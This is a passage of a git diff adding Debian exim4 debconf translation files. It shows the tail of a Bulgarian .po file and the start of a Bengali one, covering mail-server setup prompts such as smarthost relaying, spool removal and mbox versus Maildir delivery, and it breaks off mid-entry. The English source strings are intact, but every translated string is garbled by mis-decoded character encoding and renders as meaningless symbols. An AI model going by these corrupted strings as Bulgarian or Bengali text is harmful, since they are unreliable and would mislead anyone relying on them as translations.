modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"ПървиÑÑ‚ вариант е по-добре пригоден за големи промени и като цÑло е по-" +"Ñтабилен, докато вториÑÑ‚ предлага по-удобен начин да Ñе правÑÑ‚ малки " +"промени, но е по-капризен и може да доведе до проблеми ако промените Ñе " +"правÑÑ‚ невнимателно." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"По-подробна диÑкуÑÐ¸Ñ Ð½Ð° двата подхода може да бъде намерена във файловете " +"README в /usr/share/doc/exim4-base/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Скриване на локалното пощенÑко име в изходÑщата поща?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Заглавките на изходÑщата поща могат да бъдат пренапиÑвани, за да изглеждат " +"ÑÑкаш Ñа генерирани от друга ÑиÑтема, заменÑйки „${mailname}“, „localhost“ и " +"„${dc_other_hostnames}“ във From, Reply-To, Sender и Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "формат mbox във /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "формат Maildir в домашната Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ Ð½Ð° потребителÑ" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Ðачин на доÑтавÑне на локалната поща:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim може да доÑÑ‚Ð°Ð²Ñ Ð»Ð¾ÐºÐ°Ð»Ð½Ð°Ñ‚Ð° поща в различни формати. Ðай-разпроÑтранените " +"Ñа mbox и Maildir. mbox използва един файл във /var/mail/, който Ñъдържа за " +"вÑички ÑъобщениÑ. При Maildir вÑÑко Ñъобщение Ñе ÑъхранÑва в отделен файл в " +"~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Имайте предвид, че повечето инÑтрументи за работа Ñ Ð¿Ð¾Ñ‰Ð° в Debian по " +"подразбиране очакват методът за доÑтавка на локалната поща да е mbox." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "ПремеÑтване на вÑе още неизпратената поща от exim 3 в опашката на exim4?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Ð’ опашката на exim 3 (или exim-tls 3) - /var/spool/exim/input/ - има вÑе " +#~ "още неизпратена поща." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Ðко потвърдите, тази поща ще бъде премеÑтена в опашката на exim4 (/var/" +#~ "spool/exim4/input/), където ще бъде обработена от exim4." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Тази процедура работи Ñамо в едната поÑока. Exim4 може да работи Ñ " +#~ "опашката на exim 3, но обратното не е възможно. Ðко откажете " +#~ "автоматичното премеÑтване, пиÑмата нÑма да бъдат доÑтавени оÑвен ако не " +#~ "ги премеÑтите ръчно." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Ðко оÑтавите това поле празно, Exim нÑма да доÑÑ‚Ð°Ð²Ñ Ð¿Ð¾Ñ‰Ð° локално." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Забележете, че това работи Ñамо в една поÑока: exim4 може да обработи " +#~ "spool на exim(v3), но обратната поÑока е невъзможна." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "ПремеÑтете пощата Ñамо ако не планирате да Ñе връщате към exim(v3), иначе " +#~ "пощата не Ñ‚Ñ€Ñбва да Ñе премеÑтва Ñега, а ръчно, Ñлед като преобразувате " +#~ "Вашите наÑтройки." + +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Ðко има още, въведете ги тук, разделени Ñ Ð´Ð²ÑƒÐµÑ‚Ð¾Ñ‡Ð¸Ðµ. Можете да оÑтавите " +#~ "това поле празно, ако нÑма повече." + +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "МолÑ, въведете тук домейните, пощата за които иÑкате да препредавате " +#~ "(relay)." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Такива домейни Ñа тези, за които вие Ñте подготвени да приемате поща от " +#~ "Интернет. Ðе Ñпоменавайте локалните домейни тук." + +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Домейните, които въвеждате тук, Ñ‚Ñ€Ñбва да Ñа разделени Ñ Ð´Ð²ÑƒÐµÑ‚Ð¾Ñ‡Ð¸Ðµ. " +#~ "Звездички и въпроÑителни Ñъщо могат да бъдат използвани." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Тъй като Ñте активирали Ñкриването на локалното пощенÑко име в изходÑщата " +#~ "поща, Ñ‚Ñ€Ñбва да зададете име на домейн, което да бъде използвано за " +#~ "пощата от локалните потребители. Обикновено това е машината, на коÑто " +#~ "нормално получавате Вашата поща." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Къде Вашите потребители ще четат Ñ‚Ñхната поща?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "" +#~ "Машина, коÑто обработва изходÑщата поща на тази ÑиÑтема (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "Въведете име на хоÑÑ‚ на машината, на коÑто ще Ñе изпраща изходÑщата поща." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Ðктивирайте тази възможноÑÑ‚, ако използвате Dial-on-Demand; иначете Ñ " +#~ "изключете." + +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Изберете тип на наÑтройката, който най-добре отразÑва Вашите нужди." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "Ðко не Ñте Ñигурен, не разделÑйте наÑтройките." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "ръчно преобразуване от ръчната наÑтройката на Exim v3" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Ръчно наÑтройване на Exim4?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Задали Ñте, че имате ръчна наÑтройка на Exim 3. За да Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·ÑƒÐ²Ð°Ñ‚Ðµ за " +#~ "Exim 4, можете да използвате инÑтрумента exim_convert4r4(8) Ñлед " +#~ "инÑталациÑта. Обърнете Ñе към usr/share/doc/exim4-base/examples/example." +#~ "conf.gz и /usr/share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Докато Вашата пощенÑка ÑиÑтема не Ñе наÑтрои, Ñ‚Ñ Ñ‰Ðµ бъде развалена и нÑма " +#~ "да може да Ñе използва." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "Вашето \"пощенÑко име\" е чаÑтта за името на хоÑта от адреÑа, който ще " +#~ "бъде показван в излизащите от ÑиÑтемата новини или пощенÑки ÑÑŠÐ¾Ð±Ñ‰ÐµÐ½Ð¸Ñ " +#~ "(Ñлед потребителÑкото име и знака @), оÑвен ако не Ñе Ñкрие чрез " +#~ "пренапиÑване (rewriting)." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "МолÑ, въведете мрежите на локалните машини, пощата на които приемате да " +#~ "препредавате (relay)." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Това Ñ‚Ñ€Ñбва да включва вÑички машини, които ще ни използват за smarthost." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "ТрÑбва да удвоÑвате двуеточиÑта на IPv6 адреÑите (например " +#~ "5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Въведете разделен Ñ Ð´Ð²ÑƒÐµÑ‚Ð¾Ñ‡Ð¸Ðµ ÑпиÑък от IP адреÑи, на които да Ñе Ñлуша. " +#~ "ТрÑбва да удвоÑвате двуеточиÑта на IPv6 адреÑите (например " +#~ "5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "ÐаÑтройка на Exim v4 (exim4-config)" diff --git a/debian/po/bn.po b/debian/po/bn.po new file mode 100644 index 0000000..85421d4 --- /dev/null +++ b/debian/po/bn.po @@ -0,0 +1,614 @@ +# Bengali translation of exim4. +# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER +# This file is distributed under the same license as the PACKAGE package. +# Md. Rezwan Shahid <rezwan@ankur.org.bd>, 2009. +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2009-04-15 16:10+0600\n" +"Last-Translator: Md. Rezwan Shahid <rezwan@ankur.org.bd>\n" +"Language-Team: Bengali <ankur-bd-l10n@googlegroups.com>\n" +"Language: bn\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTf-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" +"X-Generator: WordForge 0.5-beta1\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "সà§à¦ªà§à¦² ডিরেকà§à¦Ÿà¦°à¦¿à¦° অপà§à¦°à§‡à¦°à¦¿à¦¤ বারà§à¦¤à¦¾ মà§à¦›à§‡ ফেলা হবে?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"à¦à¦•à§à¦¸à¦¿à¦® সà§à¦ªà§à¦² ডিরেকà§à¦Ÿà¦°à¦¿ /var/spool/exim4/input/ তে অপà§à¦°à§‡à¦°à¦¿à¦¤ ই-মেইল বারà§à¦¤à¦¾ আছে। " +"à¦à¦•à§à¦¸à¦¿à¦® মà§à¦›à§‡ দিলে à¦à¦—à§à¦²à§‹ অপà§à¦°à§‡à¦°à¦¿à¦¤à¦‡ রয়ে যাবে, যতকà§à¦·à¦¨ পরà§à¦¯à¦¨à§à¦¤ à¦à¦•à§à¦¸à¦¿à¦® পà§à¦¨à¦°à¦¾à§Ÿ ইনà§à¦¸à¦Ÿà¦² না করা " +"হয়।" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"যদি à¦à¦‡ পছনà§à¦¦à¦Ÿà¦¿ নিরà§à¦¬à¦¾à¦šà¦¨ করা হয়, সà§à¦ªà§à¦² ডিরেকà§à¦Ÿà¦°à¦¿ রেখে দেয়া হবে, à¦à¦¤à§‡ বারà§à¦¤à¦¾à¦—à§à¦²à§‹ রয়ে " +"যাবে যেন à¦à¦—à§à¦²à§‹ পরবরà§à¦¤à§€à¦¬à¦¾à¦° à¦à¦•à§à¦¸à¦¿à¦® ইনà§à¦¸à¦Ÿà¦² করা হলে পà§à¦°à§‡à¦°à¦¨ করার জনà§à¦¯ সংরকà§à¦·à¦¨ করা যায়।" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "à¦à¦‡ পà§à¦¯à¦¾à¦•à§‡à¦œà§‡à¦° পরিবরà§à¦¤à§‡ exim4-কনফিগ পà§à¦¨à¦°à¦¾à§Ÿ কনফিগার করা হবে" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 à¦à¦° কনফিগারেশন à¦à¦•à¦Ÿà¦¿ নিরà§à¦¦à¦¿à¦·à§à¦Ÿ পà§à¦¯à¦¾à¦•à§‡à¦œà§‡ (exim4-config) ফà§à¦¯à¦¾à¦•à§à¦Ÿà¦° করা থাকে। " +"Exim4 পà§à¦¨à¦°à¦¾à§Ÿ কনফিগার করার জনà§à¦¯ 'dpkg-reconfigure exim4-config' বà§à¦¯à¦¬à¦¹à¦¾à¦° করà§à¦¨à¥¤" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿ সাইট; SMTP বà§à¦¯à¦¬à¦¹à¦¾à¦° করে মেইল সরাসরি পà§à¦°à§‡à¦°à¦¨ à¦à¦¬à¦‚ গà§à¦°à¦¹à¦¨ করা হয়" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"smarthost দà§à¦¬à¦¾à¦°à¦¾ মেইল পà§à¦°à§‡à¦°à¦¨ করা হয়েছে; SMTP বা fetchmail দà§à¦¬à¦¾à¦°à¦¾ গà§à¦°à¦¹à¦¨ করা হয়েছে" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "smarthost দà§à¦¬à¦¾à¦°à¦¾ মেইল পà§à¦°à§‡à¦°à¦¨ করা হয়েছে; কোনো সà§à¦¥à¦¾à¦¨à§€à§Ÿ মেইল নেই" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "শà§à¦§à§à¦®à¦¾à¦¤à§à¦° সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডেলিà¦à¦¾à¦°à§€; নেটওয়ারà§à¦•à§‡ নয়" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "à¦à¦‡ মূহà§à¦°à§à¦¤à§‡ কোনো কনফিগারেশন নেই" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "মেইল কনফিগারেশনের সাধারন ধরন:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"অনà§à¦—à§à¦°à¦¹ করে সেই মেইল সারà§à¦à¦¾à¦° কনফিগারেশনের ধরন নিরà§à¦¬à¦¾à¦šà¦¨ করà§à¦¨ যেটি আপনার চাহিদার " +"সবচেয়ে বেশি পূরন করে।" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"ডায়নামিক আইপি ঠিকানাসহ সিসà§à¦Ÿà§‡à¦®à¦—à§à¦²à§‹, ডায়াল-আপ সিসà§à¦Ÿà§‡à¦®à¦¸à¦¹, সাধারনত à¦à¦®à¦¨à¦à¦¾à¦¬à§‡ কনফিগার " +"করা উচিত যেন à¦à¦Ÿà¦¿ ডেলিà¦à¦¾à¦°à§€à¦° জনà§à¦¯ বহি:গামী মেইলগà§à¦²à§‹à¦•à§‡ 'smarthost' নামক অনà§à¦¯ à¦à¦•à¦Ÿà¦¿ " +"মেশিনে পà§à¦°à§‡à¦°à¦¨ করে কারন ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿà§‡ অনেক গà§à¦°à¦¹à¦¨à¦•à¦¾à¦°à§€ সিসà§à¦Ÿà§‡à¦® ডায়নামিক আইপি ঠিকানা " +"থেকে আসা মেইলকে সà§à¦ªà§à¦¯à¦¾à¦® হিসেবে বà§à¦²à¦• করে দেয়।" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"ডায়নামিক আইপি ঠিকানাসহ à¦à¦•à¦Ÿà¦¿ সিসà§à¦Ÿà§‡à¦® à¦à¦° নিজের মেইল গà§à¦°à¦¹à¦¨ করতে পারে, বা সà§à¦¥à¦¾à¦¨à§€à§Ÿ " +"ডেলিà¦à¦¾à¦°à§€ সমà§à¦ªà§‚রà§à¦£à¦à¦¾à¦¬à§‡ নিষà§à¦•à§à¦°à¦¿à§Ÿ করা যেতে পারে (রà§à¦Ÿ à¦à¦¬à¦‚ পোসà§à¦Ÿà¦®à¦¾à¦¸à§à¦Ÿà¦¾à¦°à§‡à¦° মেইল বà§à¦¯à¦¤à§€à¦¤)।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "মেইল সিসà§à¦Ÿà§‡à¦® কনফিগার না করে রেখে দেয়া হবে?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"সিসà§à¦Ÿà§‡à¦® কনফিগার না করা পরà§à¦¯à¦¨à§à¦¤ à¦à¦Ÿà¦¿ বà§à¦¯à¦¬à¦¹à¦¾à¦° করা যাবে না। পরে à¦à¦• সময়ে রà§à¦Ÿ হিসেবে " +"মà§à¦¯à¦¾à¦¨à§à§Ÿà¦¾à¦²à§€ বা 'dpkg-reconfigure exim4-config' রান করে কনফিগার করা যেতে পারে।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "সিসà§à¦Ÿà§‡à¦® মেইল নাম:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'মেইল নাম' হল ডোমেইন নাম যা ডোমেইন নাম ছাড়া মেইল ঠিকানাকে 'যোগà§à¦¯' করতে বà§à¦¯à¦¬à¦¹à§ƒà¦¤ " +"হয়।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"à¦à¦‡ নামটি অনà§à¦¯ পà§à¦°à§‹à¦—à§à¦°à¦¾à¦® দà§à¦¬à¦¾à¦°à¦¾à¦“ বà§à¦¯à¦¬à¦¹à§ƒà¦¤ হবে। à¦à¦Ÿà¦¿ à¦à¦•à¦•, সমà§à¦ªà§‚রà§à¦£ যোগà§à¦¯ ডোমেইল নাম (FQDN) " +"হতে হবে।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"à¦à¦à¦¾à¦¬à§‡, যদি সà§à¦¥à¦¾à¦¨à§€à§Ÿ হোসà§à¦Ÿà§‡ à¦à¦•à¦Ÿà¦¿ মেইল ঠিকানা হয় foo@example.org, তাহলে à¦à¦‡ অপসনের " +"সঠিক মান হবে example.org।" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"à¦à¦‡ নামটি বহি:গামী বারà§à¦¤à¦¾à¦° পà§à¦°à§‡à¦°à¦•: লাইনে দেখানো হবে না যদি পà§à¦¨:লিখন সকà§à¦°à¦¿à§Ÿ থাকে।" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "অনà§à¦¯à¦¾à¦¨à§à¦¯ গনà§à¦¤à¦¬à§à¦¯ যেই মেইলের জনà§à¦¯ গà§à¦°à¦¹à¦¨ করা হবে:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"অনà§à¦—à§à¦°à¦¹ করে গà§à¦°à¦¹à¦¨à¦•à¦¾à¦°à§€ ডোমেইনের à¦à¦•à¦Ÿà¦¿ সেমিকোলন-দà§à¦¬à¦¾à¦°à¦¾-পৃথককৃত তালিকা দিন যেটির জনà§à¦¯ " +"à¦à¦‡ মেশিন নিজেকে সরà§à¦¬à¦¶à§‡à¦· গনà§à¦¤à¦¬à§à¦¯ বলে বিবেচনা করবে। à¦à¦‡ ডোমেইনগà§à¦²à§‹à¦•à§‡ সাধারনà¦à¦¾à¦¬à§‡ " +"'সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডোমেইন' বলা হয়। সà§à¦¥à¦¾à¦¨à§€à§Ÿ হোসà§à¦Ÿà¦¨à¦¾à¦® (${fqdn}) à¦à¦¬à¦‚ 'localhost' সরà§à¦¬à¦¦à¦¾ à¦à¦‡ " +"তালিকায় যোগ করা হয়।" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"ডিফলà§à¦Ÿà¦à¦¾à¦¬à§‡ সকল সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডোমেইন à¦à¦•à¦‡à¦à¦¾à¦¬à§‡ বিবেচনা করা হয়। যদি a.example à¦à¦¬à¦‚ b." +"example উà¦à§Ÿà¦‡ সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডোমেইন হয়, acc@a.example à¦à¦¬à¦‚ acc@b.example কে à¦à¦•à¦‡ সরà§à¦¬à¦¶à§‡à¦· " +"গনà§à¦¤à¦¬à§à¦¯à§‡ পাঠানো হবে। যদি à¦à¦¿à¦¨à§à¦¨ ডোমেইন নামকে আলাদাà¦à¦¾à¦¬à§‡ বিবেচনা করা হয়, তাহলে " +"কনফিগ ফাইলগà§à¦²à§‹ সমà§à¦ªà¦¾à¦¦à¦¨à¦¾ করা জরà§à¦°à¦¿à¥¤" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "যেই ডোমেইনের জনà§à¦¯ মেইল রিলে করতে হবে:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"অনà§à¦—à§à¦°à¦¹ করে গà§à¦°à¦¹à¦¨à¦•à¦¾à¦°à§€ ডোমেইনের à¦à¦•à¦Ÿà¦¿ সেমিকোলন-দà§à¦¬à¦¾à¦°à¦¾-পৃথককৃত তালিকা দিন যেটির জনà§à¦¯ " +"à¦à¦‡ মেশিন মেইল রিলে করবে, উদাহরনসà§à¦¬à¦°à§à¦ª à¦à¦•à¦Ÿà¦¿ ফলবà§à¦¯à¦¾à¦• MX বা মেইল গেটওয়ে হিসেবে। à¦à¦° " +"মানে হল à¦à¦‡ সিসà§à¦Ÿà§‡à¦® ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿà§‡à¦° যেকোনো সà§à¦¥à¦¾à¦¨ থেকে à¦à¦¸à¦•à¦² ডোমেইনের জনà§à¦¯ মেইল গà§à¦°à¦¹à¦¨ " +"করবে à¦à¦¬à¦‚ তাদেরকে সà§à¦¥à¦¾à¦¨à§€à§Ÿ নিয়ম অনà§à¦¯à¦¾à§Ÿà§€ ডেলিà¦à¦¾à¦° করবে।" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "à¦à¦–ানো সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডোমেইন উলà§à¦²à§‡à¦– করা হবে না। ওয়াইলà§à¦¡à¦•à¦¾à¦°à§à¦¡ বà§à¦¯à¦¬à¦¹à¦¾à¦° করা যেতে পারে।" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "যেসকল মেশিনের জনà§à¦¯ মেইল রিলে করা হবে:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"অনà§à¦—à§à¦°à¦¹ করে আইপি ঠিকানা à¦à¦•à¦Ÿà¦¿ সেমিকোলন-দà§à¦¬à¦¾à¦°à¦¾-পৃথককৃত তালিকা দিন যেটির জনà§à¦¯ à¦à¦‡ " +"মেশিন শরà§à¦¤à¦¹à§€à¦¨à¦à¦¾à¦¬à§‡ মেইং রিলে করবে, à¦à¦•à¦Ÿà¦¿ smarthost à¦à¦° মত কাজ করবে।" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"আপনাকে আদরà§à¦¶ ঠিকানা/পà§à¦°à¦¿à¦«à¦¿à¦•à§à¦¸ ফরমà§à¦¯à¦¾à¦Ÿ বà§à¦¯à¦¬à¦¹à¦¾à¦° করতে হবে (উদাহরনসà§à¦¬à¦°à§à¦ª " +"194.222.242.0/24 বা 5f03:1200:836f::/48)।" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"যদি à¦à¦‡ সিসà§à¦Ÿà§‡à¦®à¦Ÿà¦¿ অনà§à¦¯ কোন হোসà§à¦Ÿà§‡à¦° জনà§à¦¯ smarthost না হয়, তাহলে à¦à¦‡ তালিকাটি খালি " +"রাখà§à¦¨à¥¤" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "সà§à¦¥à¦¾à¦¨à§€à§Ÿ 